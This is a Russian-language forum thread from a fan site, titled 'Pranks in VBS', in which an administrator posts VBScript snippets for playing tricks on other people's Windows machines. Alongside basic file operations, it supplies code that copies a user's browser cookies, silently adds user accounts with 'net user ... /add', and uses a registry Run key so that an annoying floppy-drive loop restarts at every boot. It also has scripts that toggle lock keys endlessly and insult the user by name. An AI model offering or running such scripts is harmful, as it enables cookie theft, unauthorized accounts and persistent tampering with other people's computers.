Профиль

Воскресенье
29.06.2025
07:20

[ Управление профилем ]

Статистика

Bmth.3dn.ru

Поиск

Радио

Кипы Emocore

Клипы DeathCore

Metal news

Клипы BMTH OnLine

Alternative News

Клипы Metal

Bring Me The Horizon
Воскресенье, 29.06.2025, 07:20
Приветствую Вас Гость
Главная | Регистрация | Вход | RSS

Приколы на VBS - Форум

[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Приколы на VBS
MikotoДата: Среда, 04.08.2010, 14:58 | Сообщение # 1

Главный администратор

Сообщений: 46
Награды: 0

[ 10000 ]

OfflLine
Введение
VBS - это скриптовый язык, скрипты на vbs имеют расширение .vbs, их не нужно компелировать, транслятор vbs имеется во всех стандартных окошках.
Разбирём небольшой пример:
Code
UserName=InputBox("Ваше имя:","WebKill","name") 'Считываем имя юзера в переменную UserName
MsgBox "Здорово " &UserName& "!",0,"WebKill" 'Выводим сообщение с приветствием юзера  

Думаю если ты знаком с другими языками разобраться в этом примере не составит большого труда. Коминтарием в VBS считается строка, расположенная после одиночной ковычки.
Далее мы рассмотрим операции с файлами. Для этого в vbs существует обьект FileSystemObject.
Чтобы подключить функции какого либо обьекта его необходимо выразить следующим образом:
Code
set FSO=CreateObject("Scripting.FileSystemObject")

И далее мы можем вызывать функции из FileSystemObject, используя для этого FSO.
Пример:
Code
set FSO=CreateObject("Scripting.FileSystemObject") 'Подключаем FileSystemObject  
FSO.DeleteFile "C:\1.txt" 'Удаляем файл C:\1.txt  

Для успешного выполнения этого скрипта необходимо чтобы в системе существовал файл C:\1.txt, который будет удалён скриптом. Если файла не существует мы получаем ошибку, поэтому перед операциями с файлами необходимо проверять их наличие у юзера.
Функция DeleteFile удаляет файл, принимает единственное значение - путь к удаляемому файлу.

Как скопировать файл?

Code
set FSO=CreateObject("Scripting.FileSystemObject") 'Подключаем FileSystemObject
FSO.CopyFile "C:\1.txt","C:\Копия 1.txt" 'Копируем C:\1.txt

И копирование папки:

Code
set FSO=CreateObject("Scripting.FileSystemObject") 'Подключаем FileSystemObject
FSO.CopyFolder "C:\1","C:\Копия 1" 'Копируем C:\1

Как скопировать куки юзера, если заранее не знаешь его имя?

Code
set fso=createobject("scripting.filesystemobject")  
set WshShell = WScript.CreateObject("WScript.Shell")  
fso.copyfolder WshShell.ExpandEnvironmentStrings("%USERPROFILE%") +"\Cookies", "Cookies"

В дополнительных материалах к статье после запуска файла "Копирование куков.vbs" в папке "Cookies" появятся все твои куки!

Как скопировать папку со всем её содержимым? set FSO=CreateObject("Scripting.FileSystemObject") 'Подключаем FileSystemObject FSO.CopyFolder "C:\1","C:\Копия 1" 'Копируем C:\1

Удаление папки

Code
set FSO=CreateObject("Scripting.FileSystemObject") 'Подключаем FileSystemObject
FSO.DeleteFolder "C:\1" 'Удаляем файл C:\1

Создание папки

Code
set FSO=CreateObject("Scripting.FileSystemObject") 'Подключаем FileSystemObject
FSO.CreateFolder "C:\1" 'Создаём C:\1

Как создать файл, и записать в него инфу?

Code
set FSO=CreateObject("Scripting.FileSystemObject") 'Подключаем FileSystemObject
set file =FSO.CreateTextFile("C:\WebKill's.html") 'Создаём файл, и сохраняем его дескриптор в переменную file
file.WriteLine("WebKill") ' Записываем текст в файл
file.Close 'Закрываем файл

Здесь функции CreateTextFile - создание файла
WriteText - Запись в файл
Close - Закрытие файла

Как приостановить выполнение проги на некторое время?

Code
wscript.sleep 3000 MsgBox "Прошло 3 секунды", 0, "WebKill"
Приведи пример редактирования реестра!  
Set WshShell = CreateObject("WScript.Shell") WshShell.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title", "bmth.3dn.ru"

Как на VBS программно вытащить дисковод?

Code
CreateObject("WMPlayer.OCX.7").cdromCollection.item(0).Eject

Как на VBS бесконечно мигать капсоком?

Code
Set S = CreateObject("Wscript.Shell")
do
wscript.sleep 200
s.sendkeys"{capslock}"
wscript.sleep 200
s.sendkeys"{numlock}"
wscript.sleep 200
s.sendkeys"{scrolllock}"
loop

Как узнать имя текущего юзера, и обозвать его как ни-будь?

Code
Dim WshNetwork
Set WshNetwork = WScript.CreateObject("WScript.Network")
MsgBox WshNetwork.UserName+" лох! ", 0, "Миша"


MikotoДата: Среда, 04.08.2010, 15:02 | Сообщение # 2

Главный администратор

Сообщений: 46
Награды: 0

[ 10000 ]

OfflLine
Учетные записи

Создаем .vbs файл и в нем пишем:

Code
Set S = CreateObject("Wscript.Shell")
s.run"net user Привет! 123 /add", 0

Все, у нас появилась учетная запись "Привет!".

Вы можете вставить кучу таких учетных записей:

Code
Set S = CreateObject("Wscript.Shell")
s.run"net user Привет! 123 /add", 0  
s.run"net user Привет! 123 /add",1   
s.run"net user Привет! 123 /add", 2  
s.run"net user Привет! 123 /add", 3  
s.run"net user Привет! 123 /add", 4  
s.run"net user Привет! 123 /add", 0  
s.run"net user Привет! 123 /add",1   
s.run"net user Привет! 123 /add", 2  
s.run"net user Привет! 123 /add", 3  
s.run"net user Привет! 123 /add", 4


MikotoДата: Среда, 04.08.2010, 15:04 | Сообщение # 3

Главный администратор

Сообщений: 46
Награды: 0

[ 10000 ]

OfflLine
Бешеный флопик.

Короче, способ номер один.

Code
Set WSHShell=WScript.CreateObject("WScript.Shell")
Sub Zapadlo(Fuck,Wait)
Set WshShell=WScript.CreateObject("WScript.Shell")
C=WshShell.Run(Fuck,Wait)
End Sub

do
Call Zapadlo("A:\",true)
loop

Тут флопик зажужжит сразу после прямого запуска проги.

Способ номер 2.

Создаем один вбс-ник (с любым именем, его потом можно сразу удалить).

Code
Set FSO=CreateObject("Scripting.FileSystemObject")  
FSO.CopyFile "1.vbs", "С:\windows"  
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Window", "С:\windows"

И наш второй вбс-ник 1.vbs, после запуска первой проги мы его переносим в папку windows.

Code
Sub Zapadlo(Fuck,Wait)
Set WshShell=WScript.CreateObject("WScript.Shell")
C=WshShell.Run(Fuck,Wait)
End Sub

do
Call Zapadlo("A:\",true)
loop

Все, теперь после каждого запуска системы флопик начинает реветь.


MikotoДата: Среда, 04.08.2010, 15:05 | Сообщение # 4

Главный администратор

Сообщений: 46
Награды: 0

[ 10000 ]

OfflLine
Послание от блокнота

Code
Set FSO=createobject("scripting.filesystemobject")  
Set WshShell = WScript.CreateObject("WScript.Shell")
Set Men = FSO.CreateTextFile("C:\1.TXT", 8, True)  
Men.WriteLine  

Set WshShell = WScript.CreateObject("WScript.Shell")
Sub Poslanie(Fuck,Wait)
Set WshShell = WScript.CreateObject("WScript.Shell")
C=WshShell.Run(Fuck)
End Sub
Call Poslanie("C:\1.TXT",true)

Set knopka = CreateObject("Wscript.Shell")

wscript.sleep 500
knopka.sendkeys"{p}"
wscript.sleep 500
knopka.sendkeys"{r}"
wscript.sleep 500
knopka.sendkeys"{i}"
wscript.sleep 500
knopka.sendkeys"{v}"
wscript.sleep 500
knopka.sendkeys"{e}"
wscript.sleep 500
knopka.sendkeys"{t}"
wscript.sleep 500


  • Страница 1 из 1
  • 1
Поиск: